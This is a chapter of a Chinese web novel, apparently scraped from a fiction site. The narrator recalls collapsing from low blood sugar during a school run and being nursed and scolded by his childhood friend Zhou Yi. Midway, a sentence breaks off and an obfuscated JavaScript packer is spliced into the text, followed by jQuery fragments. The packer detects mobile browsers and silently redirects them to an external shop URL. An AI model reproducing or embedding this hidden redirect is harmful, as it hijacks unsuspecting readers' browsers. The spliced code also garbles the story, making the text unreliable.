文趣网 > 其他小说 > 我与周颐 > 15. 低血糖
    发完邮件后,我等了差不多四五天的时间,才又悄悄用了周颐的电脑。可点开邮箱的瞬间,投递失败四个大字赫然映入眼帘。可我那天明明亲眼看到页面上显示了“发送成功”的字样。

    我不信邪地又重新发了一遍,这回页面立刻便显示了投递失败。

    好的,我明白了。不管怎么努力,我依旧是那座孤岛,而周颐是我与这个世界唯一的连接。

    这可恶的命运。

    从这日起,我便放弃与除了周颐以外的人联络。

    周颐的身体似乎越来越差,她脸色苍白,眼下青黑,一副没休息好的样子。我想起之前凌晨两点听到的音乐声,突然意识到周颐可能每天都在熬夜。

    从小到大,虽然周颐看起来清瘦文弱,而我整日抱着篮球泡在操场,可在我们之间,她却是身体更好的那个。

    很意外吧?

    我也很意外,明明身体一向很好,可不过九年的时间,周颐就能把自己搞成这个样子。

    虽然我个子高,又经常运动,看起来相当健康,但从出生那天起我便小病不断,而且时常低血糖。为了这事,我爸带我跑了无数次医院,却查不出任何原因。

    我还记得高二的某节体育课,做完热身运动后老师便让我们绕着操场跑几圈,女生一千六百米,男生两千米。可能是因为那天我没吃午饭,或者是吃得太少,反正不知怎么的,刚开始跑我便眼前阵阵发黑。

    我本来想去边上休息会儿,可树荫下坐着的只有来例假的周颐和一个摔断了胳膊、名叫季鹏的男生。我不想在周颐面前显得太过孱弱,只能咬牙硬撑着往前跑。

    那两千米对我来说格外漫长。刚跑出五百米,我便觉得喉咙涌上一股铁锈味,吸入鼻腔的空气变得凉飕飕的,手脚也有些发软。不知为何,平日里硬邦邦的塑胶跑道像是突然变成了棉花,我每跑一步都像是被卸了力气。

    林山跑在我的后面,见我速度越来越慢,便超到我旁边。

    “解思明,你脸色怎么这么差,要不去边上休息会?”

    “不用。”我喘着气回道。

    “不是吧哥们,你别硬撑啊。”林山在我旁边不依不饶地说道:“反正骤雨同学不是也没跑嘛,你正好过去跟她聊聊天……咦,人呢?”

    听到这话,我抬头向树荫处望去。

    原本坐在那里的周颐和季鹏不知道去了哪里,树荫下只剩我和周颐的水杯并排摆在一起。

    我一时分神,没留意脚下,下一秒便踩到了不知是谁扔到跑道上的圆珠笔,然后失去平衡摔倒在地。我的脸被地上的石头划出一条很长的伤口,血流了半张脸,甚至浸透了衣襟。

    耳边传来林山的惊呼声,我挣扎着想爬起来,可我的眼前忽明忽暗,脑袋昏昏沉沉,连抬手的力气都没有。我知道自己这是低血糖了,于是便小声地问林山:“有……有吃的吗?”

    林山一把将我扶起来,语气焦急:“都这时候了你怎么还想着吃,我送你去医务室!”

    “我、我要吃……给我糖!”我揪住他的领子,费力地说道。

    “糖个头,你老老实实去医务室躺着吧,谁天天身上带着吃的啊,我又不是周颐。你实话实说,是不是昨天熬夜熬狠了?”

    林山在我耳边絮絮叨叨:“解思明啊解思明,你说你昨天既然熬夜了,今天就别跑了呗,逞什么能啊?”

    见状,我从牙缝里挤出一句话:“老子……低……血糖……”

    林山的话气得我恨不得当场晕倒,我已经没力气再与他辩驳,只好被他像麻袋一样拖到医务室。

    看到我满脸是血的样子,校医吓了一跳。他迅速地给我开了一袋五百毫升的葡萄糖注射液,让林山倒杯子里直接喂我喝了,然后准备给我处理脸上的伤口。

    这是我第一次直接喝注射液,甜甜的液体入口后,我费力地睁开眼。看着林山一脸严肃地端着纸杯的样子,我甚至有种他在给我喂毒的错觉。

    随后,我颤颤巍巍地说:“医生,快……快……”

    林山闻言瞬间慌了,他立刻撕心裂肺地喊道:“医生,解思明要不行了,快救救他!”

    “不……”我吐出一口气:“快给我把脸上的血擦一下。”

    等下周颐听到消息肯定会赶过来,我这个样子别吓着她了。

    正如我所料,没过多久,周颐便匆匆赶来了医务室。

    见她来了,我刚打算笑一下,却迎来了她劈头盖脸一顿臭骂:“解思明!跟你说了多少回了都,既然经常低血糖,你就应该在兜里揣两块巧克力。”

    她打量着我脸上的纱布说道:“这回好了吧,破相了,你自找的。”

    林山还没走呢,他尴尬地坐在一旁。而我看着周颐气鼓鼓的脸蛋,努力忍下想要掐一把的冲动,眼观鼻鼻观心地躺在床上装死。

    可即便如此,周颐却还是站在床边啰嗦个没完,我咳了一声,然后叫她:“周颐,周颐,你过来。”

    等她俯下身来,我才小声说道:“你就不能给我个面子,林山还没走呢。”

    周颐瞟了一眼林山,哼了一声:“怎么,嫌我烦?”

    “哪天你低血糖晕倒了,磕破脸毁容了,或者磕到后脑勺摔死了,你就不会觉得我多嘴了。”

    “不是,你咒我干嘛?”我气得翻了个白眼:“避谶你懂不懂,别说这话,多不吉利。”

    “殡仪馆家属楼都住了,你还这么迷信?”

    我瞟了一眼看热闹的林山,挥手打发他回去上课,然后小声说道:“宁可信其有,不可信其无啊。”

    等林山走了,我才一脸正色地问道:“你刚刚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837978|211529||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    干嘛去了?怎么不在操场?”

    “体育老师让我帮他拿水杯——你真能操心,我就走了这么一会,就被你发现了?”

    我又问:“那季鹏呢,他跟你一起去的吗?”

    周颐奇怪地看了我一眼:“不知道,应该是回教室休息去了吧。”

    “哦。”听到这话,我又放心地躺了回去。

    屋子里突然安静了下来,淡淡的酒精味萦绕在鼻尖,我偏过头看向身侧的周颐,心脏突然跳得很厉害。

    这一刻,我的心情就像是小花看到天上下起了小鱼干雨。我在心中暗自祈祷时间静止,这样周颐便能永远注视着我——就像现在这样。

    过了一会,周颐眨了眨眼睛,狡黠地笑了笑,打破了这短暂的沉默:“你说你闲着也是闲着,我刚刚回教室拿了五三,要不我给你读几篇英语阅读吧。”

    一听这话,我立刻感觉更虚弱了。

    周颐没等我拒绝,便坐在我旁边自顾自地读了起来。

    如此诡异的场景让我联想到多年前的一个傍晚,那时我还在上小学,放学后没过多久便莫名其妙地开始发烧,胃里也有些难受。我给我爸打了好几个电话,但那时我爸在开会,一个都没接到。

    我硬抗了一个小时,几乎都要烧迷糊了,而且开始上吐下泻,于是我只好敲响了周颐家的门。

    周阿姨带我去了医院,她让周颐留在家里,可周颐说自己从来没见过烧到39.8℃的人,非要跟着去看看。

    后来,诊断出来了,医生说我是急性肠胃炎,让我去输液。当时周阿姨跑上跑下,为我缴费和拿药,周颐就像今天这样坐在我旁边,蔫坏地问我是不是闲着没事很无聊,如果我无聊的话,她可以给我读课文。

    然后,没等我拒绝,她便不知道从哪里掏出一本语文书,眉飞色舞声情并茂地给我读了起来:“真好!朋友送我一对珍珠鸟。放在一个简易的竹条编成的笼子里,笼内还有一卷干草……”

    那天我本来只是胃疼,可自从周颐开始读书,我的头也莫名地疼了起来。我问她是不是故意的,她却只是瞪圆了眼睛,无辜地看着我,然后读得更大声了。

    现下想来,在我与周颐相识的十二年间,因为经常生病的缘故,我总是让她担心。

    想到这里,我看向一板一眼读着英语阅读的周颐,控制不住地开始胡思乱想——

    周颐,你特意留下来给我念书,是怕我因为养伤而落下功课,对不对?

    你说,你是不是也怕我没办法跟你一起去港中文?

    你是不是已经看出来我喜欢你了,那你喜欢我吗?

    我的脑袋里有很多问题,可此时此刻,我肯定是得不到任何答案的。

    周颐嗡嗡的念书声如魔音入耳,我坚持良久,最终却眼前一黑,又昏了过去。